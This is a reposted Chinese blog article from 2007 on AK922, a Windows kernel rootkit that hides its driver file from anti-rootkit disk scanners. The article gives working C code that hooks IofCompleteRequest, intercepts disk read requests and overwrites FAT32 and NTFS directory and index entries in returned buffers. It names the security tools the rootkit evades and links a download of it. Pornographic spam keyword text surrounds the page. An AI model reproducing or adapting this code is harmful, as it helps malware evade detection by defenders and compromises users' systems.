青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

AK922: 突破磁盤低級(jí)檢測(cè)實(shí)現(xiàn)文件隱藏

AK922: 突破磁盤低級(jí)檢測(cè)實(shí)現(xiàn)文件隱藏
作者:Azy
email: Azy000@gmail.com
完成于:2007-08-08

   目前,一些已公開的主流anti-rootkit檢測(cè)隱藏文件主要有兩種方法:第一種是文件系統(tǒng)層的檢測(cè),屬于這一類的有icesword,darkspy,gmer等。第二種便是磁盤級(jí)別的低級(jí)檢測(cè)(Disk Low-Level Scanning),屬于這一類的ark也很多,典型代表為rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。當(dāng)然,還有一些工具,它們?cè)趹?yīng)用層上通過調(diào)用ZwQueryDirectoryFile來實(shí)施檢測(cè)。
   驅(qū)動(dòng)也好,應(yīng)用也罷,說白了就是直接或間接發(fā)送IRP到下層驅(qū)動(dòng)。第一類的發(fā)送到FSD中(fastfat.sys/ntfs.sys),第二類被發(fā)送到磁盤驅(qū)動(dòng)(disk.sys),而后IRP便會(huì)攜帶相應(yīng)的文件信息返回,這時(shí)上層應(yīng)用再根據(jù)返回信息進(jìn)行處理和判斷。但是由于Disk級(jí)比FS級(jí)更底層,IRP返回給我們的是更加接近數(shù)據(jù)原始組織方式的磁盤扇區(qū)信息,所以在Disk層上實(shí)施文件檢測(cè)可以得到更令人信服的結(jié)果。但這并不等于說這類檢測(cè)不能被擊敗。本文就將介紹一種繞過該類檢測(cè)的實(shí)現(xiàn)方法,當(dāng)然,這也是在AK922中使用的。
   對(duì)于要實(shí)現(xiàn)文件隱藏的RK,與其說是“繞過”,還不如說是“攔截” -- 掛鉤某些內(nèi)核函數(shù)調(diào)用,以便在返回上層之前我們有機(jī)會(huì)過濾掉待隱藏文件的信息。
   AK922采用的方法是Hook內(nèi)核函數(shù)IofCompleteRequest。這個(gè)函數(shù)很有意思,因?yàn)樗粌H是一個(gè)幾乎在任何驅(qū)動(dòng)中都要調(diào)用的函數(shù),而且參數(shù)中正好含有IRP。有了IRP,就有了一切。這些特性決定了它很適合做我們的“傀儡”。但更重要的是,一般在驅(qū)動(dòng)中調(diào)用IofCompleteRequest之時(shí)IRP操作都已完畢,IRP中相關(guān)域已經(jīng)填充了內(nèi)容,這就便于我們著手直接進(jìn)行過濾而不用再做諸如發(fā)送IRP安裝完成例程之類的操作。
   下面就著重說一下工作流程:
   首先,判斷MajorFunction是不是IRP_MJ_READ以及IO堆棧中的DeviceObject是否是磁盤驅(qū)動(dòng)的設(shè)備對(duì)象,因?yàn)檫@才是我們要處理的核心IRP,所有ark直接發(fā)送到Disk層的IRP在這里都可以被攔截到。
   接下來的處理要特別注意,進(jìn)入到這里時(shí)IRQL是在APC_LEVEL以上的,因此我們不能碰任何IRP中的用戶模式緩沖區(qū),一碰極有可能藍(lán),也就是說我們不能直接處理相關(guān)磁盤扇區(qū)信息,而必須通過ExQueueWorkItem排隊(duì)一個(gè)WorkItem的方法來處理。除此之外,由于Disk層在設(shè)備堆棧中處于靠下的位置,大部分IRP發(fā)到這里時(shí)當(dāng)前進(jìn)程上下文早已不是原始IRP發(fā)起者的進(jìn)程上下文了,這里的發(fā)起者應(yīng)理解為ark進(jìn)程。幸運(yùn)的是在IRP的Tail.Overlay.Thread域中還保存著原始ETHREAD指針,為了操作用戶模式緩沖區(qū),必須調(diào)用KeAttachProcess切到IRP發(fā)起者的上下文環(huán)境中,而這個(gè)工作只能在處于PASSIVE_LEVEL級(jí)上的工作者線程中執(zhí)行。在DISPATCH_LEVEL級(jí)上,做的事越少越好。
   剛開始我還分兩種情況進(jìn)行處理:因?yàn)椴⒉皇撬械腎RP都不處在原始上下文中,比如icesword發(fā)的IRP到這里還是處在icesword.exe進(jìn)程中的,這時(shí)我認(rèn)為可以不用排隊(duì)工作項(xiàng),這樣就可以節(jié)省很多系統(tǒng)資源,提高過濾效率。于是我試圖在DISPATCH_LEVEL級(jí)上直接操作用戶緩沖區(qū),但這根本行不通。驅(qū)動(dòng)很不穩(wěn)定,不一會(huì)就藍(lán)了。故索性老老實(shí)實(shí)地排隊(duì)去了,然后再分情況處理。代碼如下:

// 處理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{    
        
    orgnThread = Irp->Tail.Overlay.Thread;
    orgnProcess = IoThreadToProcess(orgnThread);
        
    if(Irp->MdlAddress)
    {        
        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
            
        // UserBuffer必須有效
        if(UserBuffer)
        {                    
            
            if(KeGetCurrentIrql() == DISPATCH_LEVEL)
            {                    
            
                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                
                WorkerCtx->UserBuffer = UserBuffer;
                WorkerCtx->Length = irpSp->Parameters.Read.Length;
                WorkerCtx->EProc = orgnProcess;
                
                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                
                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
            }
        }
        
    }
}
  

   來到工作者線程,到了PASSIVE_LEVEL級(jí)上,切換上下文之后,似乎安全多了。但是以防萬一,操作用戶模式緩沖區(qū)之前還是要調(diào)用ProbeForXxx函數(shù)先判斷一下。相關(guān)代碼如下:

VOID WorkerThread(PVOID Context)
{
    KIRQL irql;
    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
    //PMDL mdl;
        

    if(((PWORKERCTX)Context)->UserBuffer)
    {
        if(eproc != currProc)
        {

            KeAttachProcess(eproc);

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){

                //DbgPrint("we can't op the buffer now :-(");
                KeDetachProcess();    
                return;
            }
            
            KeDetachProcess();    
            
        }else{

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){}
        }
    
    }
}

   準(zhǔn)備工作終于算是做得差不多了,下面就開始真正涂改磁盤扇區(qū)內(nèi)容了。這里將涉及到FAT32和NTFS磁盤文件結(jié)構(gòu),我先把要用到的主要結(jié)構(gòu)列出來,其余的大家可以參考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

   在讀取磁盤文件信息時(shí)每次都是以一個(gè)扇區(qū)大小(512 bytes)的整數(shù)倍進(jìn)行的,如果不了解相應(yīng)卷的組織形式和數(shù)據(jù)結(jié)構(gòu),那么感覺就是數(shù)據(jù)多而繁雜,搜索效率也很低。但輔以上述結(jié)構(gòu)便可快速定位待隱藏文件并進(jìn)行涂改。這里不得不說一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系統(tǒng)BSOD的概率會(huì)大大增加。
   在FAT32卷上,當(dāng)AK922搜索到文件AK922.sys的目錄項(xiàng)時(shí),將其0x0偏移處的文件名的第一個(gè)字節(jié)置為"0xe5",即標(biāo)記為刪除。這樣即可達(dá)到欺騙ark的目的。但為了更加隱蔽,不讓winhex察覺出來,最好把文件名全部清0。
   處理NTFS卷稍微麻煩些,文件記錄和索引項(xiàng)都要抹干凈,具體實(shí)現(xiàn)見代碼,這里不再贅述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;

    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
    
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3))
            {

                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                break;
                    
            }

            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
        
        }

    } else if(bIsNtfsFile) {

        //DbgPrint("FILE0...");

        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);
                break;
            }
                
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                
        }
            
    } else if(bIsNtfsIndex) {
                            
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;

        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 18);

                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }

                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }

            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                    
        }
    }
}

   水平有限,歡迎大家與我交流。


參考資料:

[1] - 《NTFS Documentation》
[2] - Azy,《IceSword & Rootkit Unhooker驅(qū)動(dòng)簡(jiǎn)析》

---------

關(guān)于AK922(AzyKit):我寫的一個(gè)只實(shí)現(xiàn)文件隱藏的RK,可以bypass本文提到的所有ark。
Download @ http://www.wiiupload.net/sf/65b4e75ec4

posted on 2007-10-12 11:58 葉子 閱讀(658) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 網(wǎng)絡(luò)安全技術(shù)研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲国产视频一区二区| 久久婷婷综合激情| 久久久国产精品一区二区三区| 国产精品一区一区| 欧美专区福利在线| 亚洲电影第三页| 99精品国产一区二区青青牛奶| 欧美日韩三区四区| 亚洲欧美国产精品桃花| 欧美福利视频| 亚洲一区网站| 在线观看不卡av| 欧美日韩一区不卡| 久久精品亚洲国产奇米99| 亚洲高清在线观看| 欧美一级在线播放| 亚洲精品亚洲人成人网| 国产精品色网| 欧美~级网站不卡| 亚洲嫩草精品久久| 欧美国产一区二区三区激情无套| 亚洲一区二区三区在线看| 红桃视频欧美| 国产精品户外野外| 欧美成人精品在线观看| 亚洲欧美日韩久久精品| 亚洲国产三级网| 久久久久国产精品一区| 亚洲一区二区三区四区中文| 亚洲第一级黄色片| 国产美女精品| 欧美三区在线| 老司机久久99久久精品播放免费| 亚洲午夜视频在线观看| 亚洲国产成人不卡| 久久阴道视频| 欧美永久精品| 亚洲欧美日韩精品久久久久| 亚洲精品视频一区| 在线播放亚洲一区| 国产专区欧美精品| 国产精品久久久久永久免费观看| 欧美成人日韩| 久久综合久久久久88| 午夜国产精品视频免费体验区| 日韩一二三区视频| 欧美激情aⅴ一区二区三区| 久久久中精品2020中文| 性欧美video另类hd性玩具| 亚洲视频在线看| 日韩一区二区免费高清| 亚洲国产小视频在线观看| 激情六月婷婷久久| 国产一区二区日韩| 国产亚洲精品7777| 国产精品亚洲美女av网站| 欧美四级在线| 国产精品初高中精品久久| 欧美日韩高清区| 欧美裸体一区二区三区| 欧美精品电影| 欧美久久一级| 欧美日韩三级一区二区| 欧美日韩中国免费专区在线看| 欧美精品日韩www.p站| 欧美精品一区二区精品网| 欧美高清在线精品一区| 欧美精品免费在线| 欧美日韩精品久久| 国产精品成人aaaaa网站| 欧美视频一区二区在线观看| 欧美涩涩视频| 国产精品美女一区二区在线观看| 国产精品任我爽爆在线播放 | 国产精品久久久久久久久久久久久久 | 亚洲精品午夜精品| 亚洲精品国产精品国产自| 亚洲精品在线观看视频| 一区二区三区四区五区在线| 亚洲综合视频网| 欧美专区在线观看| 免费成人你懂的| 欧美日韩国产综合新一区| 欧美性大战久久久久久久蜜臀| 国产精品美女999| 国产亚洲精品自拍| 亚洲国产专区| 亚洲一区久久| 久久精品视频在线观看| 欧美fxxxxxx另类| 亚洲精品中文字幕有码专区| 中日韩在线视频| 久久超碰97人人做人人爱| 免费观看欧美在线视频的网站| 欧美久久婷婷综合色| 国产伦精品一区二区三区免费| 黑人极品videos精品欧美裸| 亚洲精品国产精品乱码不99按摩| 中日韩高清电影网| 久久久久成人精品| 亚洲国产精品传媒在线观看| 中国女人久久久| 久久久综合激的五月天| 欧美日韩国产成人精品| 国产一区二区三区自拍| 亚洲日韩成人| 久久精品国产77777蜜臀| 亚洲国产精品一区二区三区| 亚洲午夜精品在线| 免费成人激情视频| 国产精品一区二区三区久久久 | 一本久久a久久免费精品不卡| 亚洲欧美精品suv| 欧美丰满高潮xxxx喷水动漫| 国产精品自拍在线| 亚洲麻豆视频| 久久综合亚洲社区| 亚洲视频日本| 欧美高清在线一区二区| 国产自产女人91一区在线观看| 99riav1国产精品视频| 久久在线免费观看视频| 一本一本久久| 欧美暴力喷水在线| 国产综合久久久久影院| 亚洲免费一级电影| 亚洲人成在线播放网站岛国| 久久精品视频在线看| 国产精品久久久999| 日韩亚洲国产精品| 欧美电影免费观看大全| 欧美一区免费| 国产区亚洲区欧美区| 亚洲视频999| 亚洲欧洲精品一区二区精品久久久| 欧美一区二区私人影院日本| 欧美午夜精品久久久| 日韩午夜中文字幕| 亚洲成色www8888| 亚洲精品乱码久久久久久| 久久久久久久一区二区| 亚洲午夜电影网| 欧美四级剧情无删版影片| 亚洲裸体在线观看| 亚洲国产成人porn| 美女爽到呻吟久久久久| 在线不卡亚洲| 美女视频黄a大片欧美| 欧美亚洲一区三区| 国产网站欧美日韩免费精品在线观看 | 国产一区二区三区网站| 欧美一区二区精品| 亚洲欧美日韩一区二区三区在线观看 | 亚洲黄页一区| 欧美国产日本韩| 亚洲精品网站在线播放gif| 欧美电影资源| 久久亚洲精品一区二区| 影音先锋日韩有码| 裸体女人亚洲精品一区| 久久亚裔精品欧美| 亚洲国产视频直播| 亚洲激情电影在线| 欧美日本久久| 亚洲午夜久久久久久尤物| 一区二区三区色| 国产精品亚洲综合久久| 欧美资源在线观看| 久久精精品视频| 亚洲国产成人久久| 亚洲黄色成人网| 欧美日韩在线视频观看| 亚洲欧美成人一区二区在线电影 | 午夜在线成人av| 国产一区二区激情| 免费看av成人| 欧美国产日韩xxxxx| 正在播放日韩| 亚洲欧美春色| 亚洲第一视频| 亚洲精品在线一区二区| 国产精品v亚洲精品v日韩精品 | 最新国产成人在线观看| 亚洲精品偷拍| 国产农村妇女毛片精品久久莱园子 | 亚洲免费在线看| 国产一区在线看| 亚洲高清视频中文字幕| 国产精品国内视频| 久久中文字幕一区| 欧美另类高清视频在线| 欧美一区二区视频在线观看2020| 久久精品最新地址| 一区二区免费看| 性欧美暴力猛交69hd| 亚洲欧洲精品一区二区精品久久久| 99在线热播精品免费| 国产一区二区三区高清| 亚洲人成在线播放网站岛国| 国产精品一区二区欧美|